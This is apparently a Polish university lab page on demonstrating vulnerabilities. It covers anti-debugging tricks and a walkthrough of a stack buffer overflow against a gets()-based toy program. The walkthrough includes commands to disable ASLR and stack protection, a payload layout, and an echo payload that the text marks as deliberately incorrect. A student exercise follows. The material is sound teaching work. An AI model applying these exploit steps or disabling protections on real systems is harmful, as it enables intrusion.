Podstawy wykazywania podatności

Podstawy wykazywania podatności


Zabezpieczenia przed debugowaniem

Pewnym utrudnieniem przy śledzeniu programów z użyciem GDB jest zabezpieczenie stosowane w niektórych programach. Mianowicie pierwszą rzeczą, jaką robi debugowany program po starcie, to sprawdzenie, czy nie jest debugowany. Typowe rozwiązanie polega tutaj na próbie wykonania wywołania systemowego ptrace na sobie samym. Wywołanie to dla danego procesu może być wykonane tylko raz. Dlatego jeśli ono zakończy się powodzeniem, to znaczy, że program nie jest uruchomiony pod kontrolą debuggera. Jeśli się nie uda, to znaczy, że działa przy udziale debuggera i można z tą wiedzą coś zrobić, na przykład zakończyć działanie. To właśnie robi poniższy przykład programu:

#include <sys/ptrace.h>
#include <stdio.h>
      
int main() {
  if (ptrace(PTRACE_TRACEME, 0) < 0) {
     printf("This process is being debugged!!!\n");
     exit(1);
  }
  // long interesting code                                 
}

Inna znana technika wykorzystuje fakt, że przejście programu przez ustawiony punkt przerwania (ang. breakpoint) powoduje wysłanie do procesu sygnału SIGTRAP. Wystarczy wtedy uruchomić własną obsługę tego sygnału, żeby debugger taki jak GDB nie dawał sobie rady z zatrzymaniem się w oczekiwanym przez śledzącego miejscu.

#include <signal.h>
#include <stdio.h>

void handler(int signo)
{}

int main()
{
        signal(SIGTRAP, handler);
        printf("Hello!\n");
}

Istnieje jeszcze wiele innych technik, a także rozwinięć technik powyżej zasugerowanych. Ich wspólnym mianowinikiem jest to, że w pewien sposób zakłócają proces, w jaki działa debugger. Zwykle zrozumienie sposobu zakłócania prowadzi do tego, że ominięcie zabezpieczenia jest stosunkowo łatwe (wystarczy zmienić kilka instrukcji w kodzie przed uruchomieniem debuggera).

Uruchamianie programów po przepełnieniu bufora

Widzieliśmy już, jak można uruchomić wywołania systemowe, gdy kod pozwala na wykonanie przepełnienia bufora. Jednak do tej pory nasze wywołania nie miały argumentów. Spróbujmy teraz poradzić sobie z sytuacją, gdy jakieś argumenty musimy podać. Spróbujmy do tego celu wykorzystać lekko zmodyfikowany znany nam fragment programu:

#include <stdio.h>
#include <stdlib.h>

void bad_function(void) {
  char buff[4];
  printf("Podaj mi jakiś napis:");
  gets(buff);
  printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
}

int main() {
  bad_function();
  exit(0);
}

Będziemy chcieli wykonać skok do procedury, która wypisze nam napis Ha, ha, mam cię! Od razu zróbmy jednak zastrzeżenie, że współczesne systemy wprowadzają liczne zabezpieczenia, które nie pozwalają na łatwe wykonanie tego zadania. Przy okazji zapoznamy się z nimi i pokażemy, jak je usunąć, a tym samym uczynić nasz system bardziej podatnym na ataki. Oczywiście normalnie tego się nie robi, ale od czasu do czasu zachodzi taka potrzeba i warto sobie zdawać sprawę z tego, jakie konsekwencje niesie ze sobą takie działanie.

Na początek zróbmy obserwacje, że podejrzenie w GDB adresu stosu nie pozwala nam na poprawne określenie adresu stosu. Jeśli zmodyfikujemy kod funkcji bad_function, jak następuje:

  void bad_function(void) {
    char buff[4];
    printf("Adres buff 0x%x\n", buff);
    printf("Podaj mi jakiś napis:");
    gets(buff);
    printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
}

To przekonamy się, że wartość wypisywana bez użycia gdb (0xffffd67c) będzie się różnić od wartości wypisywanej z użyciem gdb (0xffffd5fc). Prz czym, na współczesnych systemach operacyjnych uzyskanie dwa razy tej samej wartości nawet przy uruchomieniu bez użycia gdb jest bardzo trudne. Dzieje się tak, ponieważ w systemach tych działa na poziomie jądra bardzo ważne zabezbpieczenie, ASLR (ang. address space layout randomization, czyli randomizacja rozkładu przestrzeni adresowej). W wyniku działania tego mechanizmu różne części przestrzeni adresowej, w tym stos, są lokowane w miejscach o zmiennych, trudnych do przewidzenia adresach.

Przełamywanie ASLR wykracza poza zakres tych zajęć, więc ułatwimy sobie zadanie przez wyłączenie tego mechanizmu (nie należy robić tego na maszynie, na której przechowujemy ważne dane, i która jest podłączona do Internetu. Można to zrobić na maszynie wirtualnej przeznaczonej do eksperymentów, nie warto robić tego na własnym laptopie.

Samo wyłączenie ASLR w Linuksie dokonuje się, zmieniając wartość zmiennej konfiguracyjnej jądra randomize_va_space. W tym celu należy wpisać do tej zmiennej wartość zero na przykład tak:

# su -
# echo 0 > /proc/sys/kernel/randomize_va_space

Jeśli chcielibyśmy poznać nieco dokładniejszą wartość adresu szczytu stosu, możemy zmienić naszą bad_function w następujący sposób (warto wcześniej dodać do pliku z kodem dyrektywę include dla nagłówka stdint.h):

  void bad_function(void) {
    char buff[4];
    uint64_t sp;
    asm( "mov %%rsp, %0" : "=rm" ( sp ));
    printf("Stack address 0x%x\n", sp);
    printf("Podaj mi jakiś napis:");
    gets(buff);
    printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
  }

Pozyskanie przybliżonego adresu szczytu stosu może być niekiedy trudniejsze (np. gdy nie mamy dostępu do kodu źródłowego, musimy zmodyfikować kod binarny). Tutaj ze względu na ograniczenia czasowe poprzestaniemy jednak na podanej wyżej prostej metodzie.

Dla uproszczenia zmodyfikujmy sobie naszą funkcję bad_function, tak aby wypisywała wszystkie interesujące wartości adresów:

  void bad_function(void) {
    char buff[4];
    printf("Adres puts %016lp\n", puts);
    printf("Adres exit %016lp\n", exit);
    printf("Adres buff %016lp\n", (long)buff);
    printf("Podaj mi jakiś napis:");
    gets(buff);
    printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
  }

Po skompilowaniu kodu dostaniemy następujące napisy:

root@bsklab:~# ./a.out 
Adres puts  0x007ffff7e765f0
Adres exit 0x007ffff7e3e660
Adres buff 0x007fffffffec3c
Podaj mi jakiś napis:dd
Jestem bezpieczny, bufor zawiera: dd

Możemy teraz zająć się preparowaniem napisu, jaki będzie wczytywany przez wywołanie gets i który spowoduje wyświetlenie na ekranie wartości nas interesującej. Napis ten będzie miał następującą ogólną strukturę (to jest przykład – są też inne poprawne struktury):

  [4 bajty na zaalokowaną część buff]
  [8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP]
  [8 bajtów adresu do naszego kodu ustawiającego parametr wejściowy puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji exit]
  [kod ładujący do rejestru %RDI adres napisu, jaki ma być wyświetlany]
  [instrukcja RET wykonująca skok do puts]
  [zaterminowany zerem napis, jaki ma być wyświetlany]

Precyzyjne określenie powyższej zawartości, w szczególności adresu napisu, który znajduje się na końcu, wymaga poznania binarnej reprezentacji instrukcji, ładujących do rejestru %RDI adres interesującego nas napisu. Możemy tutaj na przykład użyć asemblera nasm i napisać w nim stosowy kawałek kodu:

        section .text

        global  main
main:
        mov    rdi,0x007fffffffeb2c
        ret

Możemy go skompilować poleceniem:

# nasm -f elf64 -o <nazwa pliku>.o <nazwa pliku>.asm

Wywołanie w tym momencie objdump da nam wynik:

  0000000000000000 <main>:
   0:	48 bf 2c eb ff ff ff 	movabs $0x7fffffffeb2c,%rdi
   7:	7f 00 00 
   a:	c3

Widzimy tutaj, że interesująca nas sekwencja to:

  [0x48]
  [0xBF]
  [8 bajtów adresu napisu]
  [0xC3]

Zatem pełny schemat to:

  [4 bajty na zaalokowaną część buff]
  [8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP]
  [8 bajtów adresu do naszego kodu ustawiającego parametr wejściowy puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji puts]
  [8 bajtów adresu powrotu, wracającego do kodu funkcji exit]
  [0x48]
  [0xBF]
  [8 bajtów adresu napisu]
  [0xC3]
  [zaterminowany zerem napis, jaki ma być wyświetlany]

Zawartość bloku 8 bajtów adresu, przechowującego zgodnie z ABI wartość rejestru %RBP możemy określić, korzystając z GDB. Szybkie przyjrzenie się ramce procedury bad_function pozwala stwierdzić, że w tym miejscu znajduje się adres zmiennej buff powiększony o 20.

Mamy już całą potrzebną wiedzę. Jeśli przyjąć adresy, jakie uzyskaliśmy wcześniej, wywołując nasz program, dostajemy konkretne wartości:
  [na przykład aaaa]
  [0x007fffffffec50]
  [0x007fffffffec60]
  [0x007ffff7e765f0]
  [0x007ffff7e3e660]
  [0x48]
  [0xBF]
  [0x007ffff7e3e66b] (uwaga: tu jest wpisana zła wartość, jaka jest dobra?)
  [0xC3]
  [Ha, ha!!!]
  [0x00]

Co przełożone na konkretne wywołanie echo da:

  # echo -e 'aaaa\x50\xEC\xFF\xFF\xFF\x7F\x00\x00\x60\xEC\xFF\xFF\xFF\x7F\x00\x00\xF0\x65\xE7\xF7\xFF\x7F\x00\x00\x60\xE6\xE3\xF7\xFF\x7F\x00\x00\x48\xBF\x6B\xEC\xFF\xFF\xFF\x7F\x00\x00\xC3Ha, ha!!!\x00' | ./a.out

(Uwaga: powyższy napis wysyłany przez echo jest nieprawdiłowy, jak powinien wyglądać prawidłowy?)

Po wywołaniu powyższego polecenia czeka nas jeszcze jedna niespodzianka. Na współczesnych systemach linuksowych powyższe wywołanie zakończy się błędem segmentacji. Wynika on z tego, że domyślnie zlinkowane programy mają wyłączoną możliwość wykonywania kodu znajdującego się w segmencie stosu. Zabezpieczenie to można usunąć, zmieniając flagę, która o tym decyduje, w pliku wykonywalnym (./a.out). Można tego dokonać za pomocą polecenia:

# execstack -s ./a.out

(Tu uwaga dla użytkowników współczesnego Debiana: polecenie to nie jest jeszcze udostępniane w oficjalnej dystrybucji systemu. Można sobie natomiast ściągnąć ten program z poprzedniej wersji systemu na przykład spod adresu: https://packages.debian.org/buster/amd64/execstack/download )

Ćwiczenie

Rozważmy program

#include <stdio.h>
#include <stdlib.h>

void bad_function(void) {
  char buff[4];
  printf("Podaj mi jakiś napis:");
  gets(buff);
  printf("Jestem bezpieczny, bufor zawiera: %s\n", buff);
}


int main() {
  bad_function();
  exit(0);
}

Skompiluj plik wlam1.c z powyższym kodem za pomocą polecenia:

gcc -g wlam1.c -o wlam1

Po skompilowaniu zablokuj ASLR na maszynie, na której będziesz robić eksperymenty oraz zmodyfikuj w pliku wykonywalnym flagę zabezpieczającą przed wykonywaniem kodu na stosie. Następnie dla uzyskanego pliku wykonywalnego doprowadź do tego, że wywołanie programu wyświetli za pomocą polecenia /bin/ls zawartość jakiegoś katalogu.

Skrypt zawierający polecenia, pozwalające na wykonanie powyższego działania, prześlij do Moodle.

ZałącznikWielkość
wlam1.c238 bajtów